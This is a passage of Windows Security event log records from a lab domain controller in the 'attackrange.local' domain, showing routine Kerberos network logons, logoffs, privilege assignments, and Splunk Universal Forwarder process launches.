SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250079
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB786

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250078
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFB786
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64386

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250077
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFB786

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250121
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250120
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250119
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13d8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250118
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250117
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250116
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250115
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1384
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250114
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250113
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE261

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250112
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFE261
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64393

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250111
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE261

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250110
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE1EB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250109
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFE1EB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64392

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250108
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE1EB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250107
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE132

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250106
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFE132
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64391

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250105
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE132

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250104
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE091

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250103
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFE091
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64390

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250102
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFE091

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250144
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1120
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
